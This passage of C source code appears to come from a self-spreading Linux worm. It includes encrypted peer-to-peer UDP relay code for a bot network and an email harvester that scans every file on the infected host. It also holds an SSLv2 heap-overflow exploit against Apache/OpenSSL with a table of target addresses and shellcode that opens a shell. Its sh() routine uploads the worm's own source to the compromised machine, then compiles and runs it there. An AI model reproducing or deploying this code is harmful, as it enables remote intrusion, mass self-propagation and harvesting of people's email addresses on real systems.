	if (inst == NULL || child == NULL) return (AINSTANCE);
	datalen=sizeof(child->in);
	inst->len=0;
	memcpy((void*)child,(void*)inst,sizeof(struct ainst));
	if ((sock=accept(inst->sock,(struct sockaddr *)&child->in,&datalen)) < 0) {
		memset((void*)child,0,sizeof(struct ainst));
		inst->error=APENDING;
		return (APENDING);
	}
	child->sock=sock;
	inst->len=datalen;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int atcp_send(struct ainst *inst,char *buf,unsigned long len) {
	long datalen;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	errno=0;
	if ((datalen=write(inst->sock,buf,len)) < len) {
		if (errno == EAGAIN) {
			inst->error=APENDING;
			return (APENDING);
		}
		else {
			inst->error=AUNKNOWN;
			return (AUNKNOWN);
		}
	}
	inst->len=datalen;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int atcp_sendmsg(struct ainst *inst, char *words, ...) {
	static char textBuffer[2048];
	unsigned int a;
	va_list args;
	va_start(args, words);
	a=vsprintf(textBuffer, words, args);
	va_end(args);
	return atcp_send(inst,textBuffer,a);
}

int atcp_recv(struct ainst *inst,char *buf,unsigned long len) {
	long datalen;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if ((datalen=read(inst->sock,buf,len)) < 0) {
		if (errno == EAGAIN) {
			inst->error=APENDING;
			return (APENDING);
		}
		else {
			inst->error=AUNKNOWN;
			return (AUNKNOWN);
		}
	}
	if (datalen == 0 && len) {
		inst->error=AUNKNOWN;
		return (AUNKNOWN);
	}
	inst->len=datalen;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int atcp_close(struct ainst *inst) {
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if (close(inst->sock) < 0) {
		inst->error=AUNKNOWN;
		return (AUNKNOWN);
	}
	inst->sock=0;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int audp_listen(struct ainst *inst,unsigned int port) {
	int flag=1;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
		inst->error=ASOCKET;
		return (ASOCKET);
	}
	inst->in.sin_family = AF_INET;
	inst->in.sin_addr.s_addr = INADDR_ANY;
	inst->in.sin_port = htons(port);
	if (bind(inst->sock, (struct sockaddr *)&inst->in, sizeof(inst->in)) < 0) {
		inst->error=ABIND;
		return (ABIND);
	}
#ifdef O_DIRECT
	flag = fcntl(inst->sock, F_GETFL, 0);
	flag |= O_DIRECT;
	fcntl(inst->sock, F_SETFL, flag);
#endif
	inst->error=ASUCCESS;
	flag=1;
	setsockopt(inst->sock,SOL_SOCKET,SO_OOBINLINE,&flag,sizeof(flag));
	return (ASUCCESS);
}

int audp_setup(struct ainst *inst,char *host,unsigned int port) {
	int flag=1;
 	struct hostent *hp;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if ((inst->sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
		inst->error=ASOCKET;
		return (ASOCKET);
	}
	if (inet_addr(host) == 0 || inet_addr(host) == -1) {
		if ((hp = gethostbyname(host)) == NULL) {
			inst->error=ARESOLVE;
			return (ARESOLVE);
		}
		bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
	}
	else inst->in.sin_addr.s_addr=inet_addr(host);
	inst->in.sin_family = AF_INET;
	inst->in.sin_port = htons(port);
#ifdef O_DIRECT
	flag = fcntl(inst->sock, F_GETFL, 0);
	flag |= O_DIRECT;
	fcntl(inst->sock, F_SETFL, flag);
#endif
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
 	struct hostent *hp;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	inst->sock = parent->sock;
	if (inet_addr(host) == 0 || inet_addr(host) == -1) {
		if ((hp = gethostbyname(host)) == NULL) {
			inst->error=ARESOLVE;
			return (ARESOLVE);
		}
		bcopy((char*)hp->h_addr, (char*)&inst->in.sin_addr, hp->h_length);
	}
	else inst->in.sin_addr.s_addr=inet_addr(host);
	inst->in.sin_family = AF_INET;
	inst->in.sin_port = htons(port);
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int audp_send(struct ainst *inst,char *buf,unsigned long len) {
	long datalen;
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	errno=0;
	if ((datalen=sendto(inst->sock,buf,len,0,(struct sockaddr*)&inst->in,sizeof(inst->in))) < len) {
		if (errno == EAGAIN) {
			inst->error=APENDING;
			return (APENDING);
		}
		else {
			inst->error=AUNKNOWN;
			return (AUNKNOWN);
		}
	}
	out++;
	inst->len=datalen;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int audp_sendmsg(struct ainst *inst, char *words, ...) {
	static char textBuffer[2048];
	unsigned int a;
	va_list args;
	va_start(args, words);
	a=vsprintf(textBuffer, words, args);
	va_end(args);
	return audp_send(inst,textBuffer,a);
}

int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
	long datalen,nlen;
	if (inst == NULL) return (AINSTANCE);
	nlen=sizeof(inst->in);
	inst->len=0;
	memcpy((void*)client,(void*)inst,sizeof(struct ainst));
	if ((datalen=recvfrom(inst->sock,buf,len,0,(struct sockaddr*)&client->in,(size_t*)&nlen)) < 0) {
		if (errno == EAGAIN) {
			inst->error=APENDING;
			return (APENDING);
		}
		else {
			inst->error=AUNKNOWN;
			return (AUNKNOWN);
		}
	}
	inst->len=datalen;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

int audp_close(struct ainst *inst) {
	if (inst == NULL) return (AINSTANCE);
	inst->len=0;
	if (close(inst->sock) < 0) {
		inst->error=AUNKNOWN;
		return (AUNKNOWN);
	}
	inst->sock=0;
	inst->error=ASUCCESS;
	return (ASUCCESS);
}

unsigned long _decrypt(char *str, unsigned long len) {
	unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
	gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
	while(1) {
		gsrand(seed[pos%4]+grand()+pos);
		str[pos]-=grand();
		pos++;
		if (pos >= len) break;
	}
	return pos;
}

unsigned long _encrypt(char *str, unsigned long len) {
	unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
	gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
	while(1) {
		gsrand(seed[pos%4]+grand()+pos);
		str[pos]+=grand();
		pos++;
		if (pos >= len) break;
	}
	return pos;
}

int useseq(unsigned long seq) {
	unsigned long a;
	if (seq == 0) return 0;
	for (a=0;a<LINKS;a++) if (sequence[a] == seq) return 1;
	return 0;
}

unsigned long newseq() {
	unsigned long seq;
	while(1) {
		seq=(rand()*rand())^rand();
		if (useseq(seq) || seq == 0) continue;
		break;
	}
	return seq;
}

void addseq(unsigned long seq) {
	unsigned long i;
	for (i=LINKS-1;i>0;i--) sequence[i]=sequence[i-1];
	sequence[0]=seq;
}

void addserver(unsigned long server) {
	unsigned long *newlinks, i, stop;
	char a=0;
	for (i=0;i<numlinks;i++) if (links[i] == server) a=1;
	if (a == 1 || server == 0) return;
	numlinks++;
	newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
	if (newlinks == NULL) return;
	stop=rand()%numlinks;
	for (i=0;i<stop;i++) newlinks[i]=links[i];
	newlinks[i]=server;
	for (;i<numlinks-1;i++) newlinks[i+1]=links[i];
	FREE(links);
	links=newlinks;
}

void conv(char *str,int len,unsigned long server) {
	memset(str,0,len);
	strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server));
}

int isreal(unsigned long server) {
	char srv[256];
	unsigned int i,f;
	unsigned char a=0,b=0;
	conv(srv,256,server);
	for (i=0;i<strlen(srv) && srv[i]!='.';i++);
	srv[i]=0;
	a=atoi(srv);
	f=i+1;
	for (i++;i<strlen(srv) && srv[i]!='.';i++);
	srv[i]=0;
	b=atoi(srv+f);
	if (a == 127 || a == 10 || a == 0) return 0;
	if (a == 172 && b >= 16 && b <= 31) return 0;
	if (a == 192 && b == 168) return 0;
	return 1;
}

u_short in_cksum(u_short *addr, int len) {
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer =0;
	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}
	if (nleft == 1) {
		*(u_char *)(&answer) = *(u_char *)w;
		sum += answer;
	}
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return(answer);
}

int usersa(unsigned long rs) {
	unsigned long a;
	if (rs == 0) return 0;
	for (a=0;a<LINKS;a++) if (rsa[a] == rs) return 1;
	return 0;
}

unsigned long newrsa() {
	unsigned long rs;
	while(1) {
		rs=(rand()*rand())^rand();
		if (usersa(rs) || rs == 0) continue;
		break;
	}
	return rs;
}

void addrsa(unsigned long rs) {
	unsigned long i;
	for (i=LINKS-1;i>0;i--) rsa[i]=rsa[i-1];
	rsa[0]=rs;
}

void delqueue(unsigned long id) {
	struct mqueue *getqueue=queues, *prevqueue=NULL;
	while(getqueue != NULL) {
		if (getqueue->id == id) {
			getqueue->trys--;
			if (!getqueue->trys) {
				if (prevqueue) prevqueue->next=getqueue->next;
				else queues=getqueue->next;
			}
			return;
		}
		prevqueue=getqueue;
		getqueue=getqueue->next;
	}
}

int waitforqueues() {
	if (mfork() == 0) {
		sleep(gettimeout());
		return 0;
	}
	return 1;
}

//////////////////////////////////////////////////////////////////////////////////////
//                                   Sending functions                              //
//////////////////////////////////////////////////////////////////////////////////////

struct ainst udpserver;

char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len) {
	struct llheader rp;
	struct mqueue *q;
	char *mbuf=(char*)malloc(sizeof(rp)+len);
	if (mbuf == NULL) return NULL;
	memset((void*)&rp,0,sizeof(struct llheader));
	rp.checksum=in_cksum(buf,len);
	rp.id=newrsa();
	rp.type=0;
	memcpy(mbuf,&rp,sizeof(rp));
	memcpy(mbuf+sizeof(rp),buf,len);

	q=(struct mqueue *)malloc(sizeof(struct mqueue));
	q->packet=(char*)malloc(sizeof(rp)+len);
	memcpy(q->packet,mbuf,sizeof(rp)+len);
	q->len=sizeof(rp)+len;
	q->id=rp.id;
	q->time=time(NULL);
	q->ltime=time(NULL);
	if (b) {
		q->destination=0;
		q->port=PORT;
		q->trys=b;
	}
	else {
		q->destination=ts->in.sin_addr.s_addr;
		q->port=htons(ts->in.sin_port);
		q->trys=1;
	}
	q->next=queues;
	queues=q;

	if (ts) {
		audp_send(ts,mbuf,len+sizeof(rp));
		FREE(mbuf);
	}
	else return mbuf;
}

int relayclient(struct ainst *ts,char *buf,unsigned long len) {
	return lowsend(ts,0,buf,len)?1:0;
}

int relay(unsigned long server,char *buf,unsigned long len) {
	struct ainst ts;
	char srv[256];
	memset((void*)&ts,0,sizeof(struct ainst));
	conv(srv,256,server);
	audp_relay(&udpserver,&ts,srv,PORT);
	return lowsend(&ts,0,buf,len)?1:0;
}

void segment(unsigned char low,char *buf, unsigned long len) {
	unsigned long a=0,c=0;
	char *mbuf=NULL;
	if (numlinks == 0 || links == NULL) return;
	if (low) mbuf=lowsend(NULL,low,buf,len);
	for(;c < 10;c++) {
		a=rand()%numlinks;
		if (links[a] != myip) {
			struct ainst ts;
			char srv[256];
			memset((void*)&ts,0,sizeof(struct ainst));
			conv(srv,256,links[a]);
			audp_relay(&udpserver,&ts,srv,PORT);
			if (mbuf) audp_send(&ts,mbuf,len+sizeof(struct llheader));
			else audp_send(&ts,buf,len);
			break;
		}
	}
	FREE(mbuf);
}

void broadcast(char *buf,unsigned long len) {
	struct route_rec rc;
	char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
	if (str == NULL) return;
	memset((void*)&rc,0,sizeof(struct route_rec));
	rc.h.tag=0x26;
	rc.h.id=rand();
	rc.h.len=sizeof(struct route_rec)+len;
	rc.h.seq=newseq();
	rc.server=0;
	rc.sync=syncmodes;
	rc.links=numlinks;
	rc.hops=5;
	memcpy((void*)str,(void*)&rc,sizeof(struct route_rec));
	memcpy((void*)(str+sizeof(struct route_rec)),(void*)buf,len);
	segment(2,str,sizeof(struct route_rec)+len);
	FREE(str);
}

void syncm(struct ainst *inst,char tag,int id) {
	struct addsrv_rec rc;
	struct next_rec { unsigned long server; } fc;
	unsigned long a,b;
	for (b=0;;b+=700) {
		unsigned long _numlinks=numlinks-b>700?700:numlinks-b;
		unsigned long *_links=links+b;
		unsigned char *str;
		if (b > numlinks) break;
		str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
		if (str == NULL) return;
		memset((void*)&rc,0,sizeof(struct addsrv_rec));
		rc.h.tag=tag;
		rc.h.id=id;
		if (id) rc.h.seq=newseq();
		rc.h.len=sizeof(struct next_rec)*_numlinks;
		memcpy((void*)str,(void*)&rc,sizeof(struct addsrv_rec));
		for (a=0;a<_numlinks;a++) {
			memset((void*)&fc,0,sizeof(struct next_rec));
			fc.server=_links[a];
			memcpy((void*)(str+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec))),(void*)&fc,sizeof(struct next_rec));
		}
		if (!id) relay(inst->in.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
		else relayclient(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
		FREE(str);
	}
}

void senderror(struct ainst *inst, int id, char *buf2) {
	struct data_rec rc;
	char *str,*buf=strdup(buf2);
	memset((void*)&rc,0,sizeof(struct data_rec));
	rc.h.tag=0x45;
	rc.h.id=id;
	rc.h.seq=newseq();
	rc.h.len=strlen(buf2);
	_encrypt(buf,strlen(buf2));
	str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
	if (str == NULL) {
		FREE(buf);
		return;
	}
	memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
	memcpy((void*)(str+sizeof(struct data_rec)),buf,strlen(buf2));
	relayclient(&udpclient,str,sizeof(struct data_rec)+strlen(buf2));
	FREE(str);
	FREE(buf);
}

//////////////////////////////////////////////////////////////////////////////////////
//                                      Scan for email                              //
//////////////////////////////////////////////////////////////////////////////////////

int isgood(char a) {
	if (a >= 'a' && a <= 'z') return 1;
	if (a >= 'A' && a <= 'Z') return 1;
	if (a >= '0' && a <= '9') return 1;
	if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
	return 0;
}

int islisten(char a) {
	if (a == '.') return 1;
	if (a >= 'a' && a <= 'z') return 1;
	if (a >= 'A' && a <= 'Z') return 1;
	return 0;
}

struct _linklist {
	char *name;
	struct _linklist *next;
} *linklist=NULL;

void AddToList(char *str) {
	struct _linklist *getb=linklist,*newb;
	while(getb != NULL) {
		if (!strcmp(str,getb->name)) return;
		getb=getb->next;
	}
	newb=(struct _linklist *)malloc(sizeof(struct _linklist));
	if (newb == NULL) return;
	newb->name=strdup(str);
	newb->next=linklist;
	linklist=newb;
}

void cleanup(char *buf) {
	while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
	while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
		unsigned long i;
		for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i];
	}
}

void ScanFile(char *f) {
	FILE *file=fopen(f,"r");
	unsigned long startpos=0;
	if (file == NULL) return;
	while(1) {
		char buf[2];
		memset(buf,0,2);
		fseek(file,startpos,SEEK_SET);
		fread(buf,1,1,file);
		startpos++;
		if (feof(file)) break;
		if (*buf == '@') {
			char email[256],c,d;
			unsigned long pos=0;
			while(1) {
				unsigned long oldpos=ftell(file);
				fseek(file,-1,SEEK_CUR);
				c=fgetc(file);
				if (!isgood(c)) break;
				fseek(file,-1,SEEK_CUR);
				if (oldpos == ftell(file)) break;
			}
			for (pos=0,c=0,d=0;pos<255;pos++) {
				email[pos]=fgetc(file);
				if (email[pos] == '.') c++;
				if (email[pos] == '@') d++;
				if (!isgood(email[pos])) break;
			}
			email[pos]=0;
			if (c == 0 || d != 1) continue;
			if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
			if (*email == '@' || *email == '.' || !*email) continue;
			if (!strcmp(email,"webmaster@mydomain.com")) continue;
			for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
			if (c == 0) continue;
			if (!strncmp(email+c,".hlp",4)) continue;
			for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
			if (d == 1) continue;
			AddToList(email);
		}
	}
	fclose(file);
}

void StartScan() {
	FILE *f;
	f=popen("find / -type f","r");
	if (f == NULL) return;
	while(1) {
		char fullfile[MAXPATH];
		memset(fullfile,0,MAXPATH);
		fgets(fullfile,MAXPATH,f);
		if (feof(f)) break;
		while(fullfile[strlen(fullfile)-1]=='\n' ||
			fullfile[strlen(fullfile)-1] == '\r')
			fullfile[strlen(fullfile)-1]=0;
		if (!strncmp(fullfile,"/proc",5)) continue;
		if (!strncmp(fullfile,"/dev",4)) continue;
		if (!strncmp(fullfile,"/bin",4)) continue;
		ScanFile(fullfile);
	}
}

//////////////////////////////////////////////////////////////////////////////////////
//                                    Exploit                                       //
//////////////////////////////////////////////////////////////////////////////////////

#ifdef SCAN
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>

char *GetAddress(char *ip) {
	struct sockaddr_in sin;
	fd_set fds;
	int n,d,sock;
	char buf[1024];
	struct timeval tv;
	sock = socket(PF_INET, SOCK_STREAM, 0);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = inet_addr(ip);
	sin.sin_port = htons(80);
	if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
	write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
	tv.tv_sec = 15;
	tv.tv_usec = 0;
	FD_ZERO(&fds);
	FD_SET(sock, &fds);
	memset(buf, 0, sizeof(buf));
	if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) {
		if(FD_ISSET(sock, &fds)) {
			if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
			for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
				char *start=buf+d+strlen("Server: ");
				for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
				cleanup(start);
				return strdup(start);
			}
		}
	}
	return NULL;
}

#define	ENC(c) ((c) ? ((c) & 077) + ' ': '`')

int sendch(int sock,int buf) {
	char a[2];
	int b=1;
	if (buf == '`' || buf == '\\' || buf == '$') {
		a[0]='\\';
		a[1]=0;
		b=write(sock,a,1);
	}
	if (b <= 0) return b;
	a[0]=buf;
	a[1]=0;
	return write(sock,a,1);
}

int writem(int sock, char *str) {
	return write(sock,str,strlen(str));
}

int encode(int a) {
	register int ch, n;
	register char *p;
	char buf[80];
	FILE *in;
	if ((in=fopen("/tmp/.bugtraq.c","r")) == NULL) return 0;
	writem(a,"begin 655 .bugtraq.c\n");
	while ((n = fread(buf, 1, 45, in))) {
		ch = ENC(n);
		if (sendch(a,ch) <= ASUCCESS) break;
		for (p = buf; n > 0; n -= 3, p += 3) {
			if (n < 3) {
				p[2] = '\0';
				if (n < 2) p[1] = '\0';
			}
			ch = *p >> 2;
			ch = ENC(ch);
			if (sendch(a,ch) <= ASUCCESS) break;
			ch = ((*p << 4) & 060) | ((p[1] >> 4) & 017);
			ch = ENC(ch);
			if (sendch(a,ch) <= ASUCCESS) break;
			ch = ((p[1] << 2) & 074) | ((p[2] >> 6) & 03);
			ch = ENC(ch);
			if (sendch(a,ch) <= ASUCCESS) break;
			ch = p[2] & 077;
			ch = ENC(ch);
			if (sendch(a,ch) <= ASUCCESS) break;
		}
		ch='\n';
		if (sendch(a,ch) <= ASUCCESS) break;
		usleep(10);
	}
	if (ferror(in)) {
		fclose(in);
		return 0;
	}
	ch = ENC('\0');
	sendch(a,ch);
	ch = '\n';
	sendch(a,ch);
	writem(a,"end\n");
	if (in) fclose(in);
	return 1;
}

#define MAX_ARCH 21

struct archs {
	char *os;
	char *apache;
	int func_addr;
} architectures[] = {
	{"Gentoo", "", 0x08086c34},
	{"Debian", "1.3.26", 0x080863cc},
	{"Red-Hat", "1.3.6", 0x080707ec},
	{"Red-Hat", "1.3.9", 0x0808ccc4},
	{"Red-Hat", "1.3.12", 0x0808f614},
	{"Red-Hat", "1.3.12", 0x0809251c},
	{"Red-Hat", "1.3.19", 0x0809af8c},
	{"Red-Hat", "1.3.20", 0x080994d4},
	{"Red-Hat", "1.3.26", 0x08161c14},
	{"Red-Hat", "1.3.23", 0x0808528c},
	{"Red-Hat", "1.3.22", 0x0808400c},
	{"SuSE", "1.3.12", 0x0809f54c},
	{"SuSE", "1.3.17", 0x08099984},
	{"SuSE", "1.3.19", 0x08099ec8},
	{"SuSE", "1.3.20", 0x08099da8},
	{"SuSE", "1.3.23", 0x08086168},
	{"SuSE", "1.3.23", 0x080861c8},
	{"Mandrake", "1.3.14", 0x0809d6c4},
	{"Mandrake", "1.3.19", 0x0809ea98},
	{"Mandrake", "1.3.20", 0x0809e97c},
	{"Mandrake", "1.3.23", 0x08086580},
	{"Slackware", "1.3.26", 0x083d37fc},
	{"Slackware", "1.3.26",0x080b2100}
};

extern int errno;

int cipher;
int ciphers;

#define FINDSCKPORTOFS	   208 + 12 + 46

unsigned char overwrite_session_id_length[] =
	"AAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"\x70\x00\x00\x00";

unsigned char overwrite_next_chunk[] =
	"AAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAA"
	"\x00\x00\x00\x00"
	"\x00\x00\x00\x00"
	"AAAA"
	"\x01\x00\x00\x00"
	"AAAA"
	"AAAA"
	"AAAA"
	"\x00\x00\x00\x00"
	"AAAA"
	"\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00"
	"AAAAAAAA"

	"\x00\x00\x00\x00"
	"\x11\x00\x00\x00"
	"fdfd"
	"bkbk"
	"\x10\x00\x00\x00"
	"\x10\x00\x00\x00"

	"\xeb\x0a\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"

	"\x31\xdb"
	"\x89\xe7"
	"\x8d\x77\x10"
	"\x89\x77\x04"
	"\x8d\x4f\x20"
	"\x89\x4f\x08"
	"\xb3\x10"
	"\x89\x19"
	"\x31\xc9"
	"\xb1\xff"
	"\x89\x0f"
	"\x51"
	"\x31\xc0"
	"\xb0\x66"
	"\xb3\x07"
	"\x89\xf9"
	"\xcd\x80"
	"\x59"
	"\x31\xdb"
	"\x39\xd8"
	"\x75\x0a"
	"\x66\xb8\x12\x34"
	"\x66\x39\x46\x02"
	"\x74\x02"
	"\xe2\xe0"
	"\x89\xcb"
	"\x31\xc9"
	"\xb1\x03"
	"\x31\xc0"
	"\xb0\x3f"
	"\x49"
	"\xcd\x80"
	"\x41"
	"\xe2\xf6"

	"\x31\xc9"
	"\xf7\xe1"
	"\x51"
	"\x5b"
	"\xb0\xa4"
	"\xcd\x80"

	"\x31\xc0"
	"\x50"
	"\x68""//sh"
	"\x68""/bin"
	"\x89\xe3"
	"\x50"
	"\x53"
	"\x89\xe1"
	"\x99"
	"\xb0\x0b"
	"\xcd\x80";

#define BUFSIZE 16384
#define CHALLENGE_LENGTH 16
#define RC4_KEY_LENGTH 16
#define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
#define n2s(c,s)	((s=(((unsigned int)(c[0]))<< 8)| (((unsigned int)(c[1]))	 )),c+=2)
#define s2n(s,c)	((c[0]=(unsigned char)(((s)>> 8)&0xff), c[1]=(unsigned char)(((s)	 )&0xff)),c+=2)

typedef struct {
	int sock;
	unsigned char challenge[CHALLENGE_LENGTH];
	unsigned char master_key[RC4_KEY_LENGTH];
	unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
	int conn_id_length;
	unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
	X509 *x509;
	unsigned char* read_key;
	unsigned char* write_key;
	RC4_KEY* rc4_read_key;
	RC4_KEY* rc4_write_key;
	int read_seq;
	int write_seq;
	int encrypted;
} ssl_conn;

long getip(char *hostname) {
	struct hostent *he;
	long ipaddr;
	if ((ipaddr = inet_addr(hostname)) < 0) {
		if ((he = gethostbyname(hostname)) == NULL) exit(-1);
		memcpy(&ipaddr, he->h_addr, he->h_length);
	}	
	return ipaddr;
}

int sh(int sockfd) {
	char localip[256], rcv[1024];
	fd_set rset;
	int maxfd, n;

	alarm(3600);
	writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
	writem(sockfd,"rm -rf /tmp/.bugtraq.c;cat > /tmp/.uubugtraq << __eof__;\n");
	encode(sockfd);
	writem(sockfd,"__eof__\n");
	conv(localip,256,myip);
	memset(rcv,0,1024);
	sprintf(rcv,"/usr/bin/uudecode -o /tmp/.bugtraq.c /tmp/.uubugtraq;gcc -o /tmp/.bugtraq /tmp/.bugtraq.c -lcrypto;/tmp/.bugtraq %s;exit;\n",localip);
	writem(sockfd,rcv);
	for (;;) {
		FD_ZERO(&rset);
		FD_SET(sockfd, &rset);
		select(sockfd+1, &rset, NULL, NULL, NULL);
		if (FD_ISSET(sockfd, &rset)) if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) return 0;
	}
}

int get_local_port(int sock) {
	struct sockaddr_in s_in;
	unsigned int namelen = sizeof(s_in);
	if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1);
	return s_in.sin_port;
}

int connect_host(char* host, int port) {
	struct sockaddr_in s_in;
	int sock;
	s_in.sin_family = AF_INET;
	s_in.sin_addr.s_addr = getip(host);
	s_in.sin_port = htons(port);
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1);
	alarm(10);
	if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1);
	alarm(0);
	return sock;
}

ssl_conn* ssl_connect_host(char* host, int port) {
	ssl_conn* ssl;
	if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1);
	ssl->encrypted = 0;
	ssl->write_seq = 0;
	ssl->read_seq = 0;
	ssl->sock = connect_host(host, port);
	return ssl;
}

char res_buf[30];

int read_data(int sock, unsigned char* buf, int len) {
	int l;
	int to_read = len;
	do {
		if ((l = read(sock, buf, to_read)) < 0) exit(1);
		to_read -= len;
	} while (to_read > 0);
	return len;
}

int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) {
	int rec_len, padding;
	read_data(ssl->sock, buf, 2);
	if ((buf[0] & 0x80) == 0) {
		rec_len = ((buf[0] & 0x3f) << 8) | buf[1];
		read_data(ssl->sock, &buf[2], 1);
		padding = (int)buf[2];
	}
	else {
		rec_len = ((buf[0] & 0x7f) << 8) | buf[1];
		padding = 0;
	}
	if ((rec_len <= 0) || (rec_len > buf_size)) exit(1);
	read_data(ssl->sock, buf, rec_len);
	if (ssl->encrypted) {
		if (MD5_DIGEST_LENGTH + padding >= rec_len) {
			if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0;
			else exit(1);
		}
		RC4(ssl->rc4_read_key, rec_len, buf, buf);
		rec_len = rec_len - MD5_DIGEST_LENGTH - padding;
		memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len);
	}
	if (buf[0] == SSL2_MT_ERROR) {
		if (rec_len != 3) exit(1);
		else return 0;
	}
	return rec_len;
}

void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) {
	unsigned char buf[BUFSIZE];
	unsigned char* p;
	int tot_len;
	MD5_CTX ctx;
	int seq;
	if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH;
	else tot_len = rec_len;

	if (2 + tot_len > BUFSIZE) exit(1);

	p = buf;
	s2n(tot_len, p);

	buf[0] = buf[0] | 0x80;

	if (ssl->encrypted) {
		seq = ntohl(ssl->write_seq);

		MD5_Init(&ctx);
		MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
		MD5_Update(&ctx, rec, rec_len);
		MD5_Update(&ctx, &seq, 4);
		MD5_Final(p, &ctx);

		p+=MD5_DIGEST_LENGTH;

		memcpy(p, rec, rec_len);

		RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
	}
	else memcpy(p, rec, rec_len);

	send(ssl->sock, buf, 2 + tot_len, 0);

	ssl->write_seq++;
}

void send_client_hello(ssl_conn *ssl) {
	int i;
	unsigned char buf[BUFSIZE] =
		"\x01"
		"\x00\x02"
		"\x00\x18"
		"\x00\x00"
		"\x00\x10"
		"\x07\x00\xc0\x05\x00\x80\x03\x00"
		"\x80\x01\x00\x80\x08\x00\x80\x06"
		"\x00\x40\x04\x00\x80\x02\x00\x80"
		"";
	for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24);
	memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
	send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
}

void get_server_hello(ssl_conn* ssl) {
	unsigned char buf[BUFSIZE];
	unsigned char *p, *end;
	int len;
	int server_version, cert_length, cs_length, conn_id_length;
	int found;

	if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1);
	if (len < 11) exit(1);

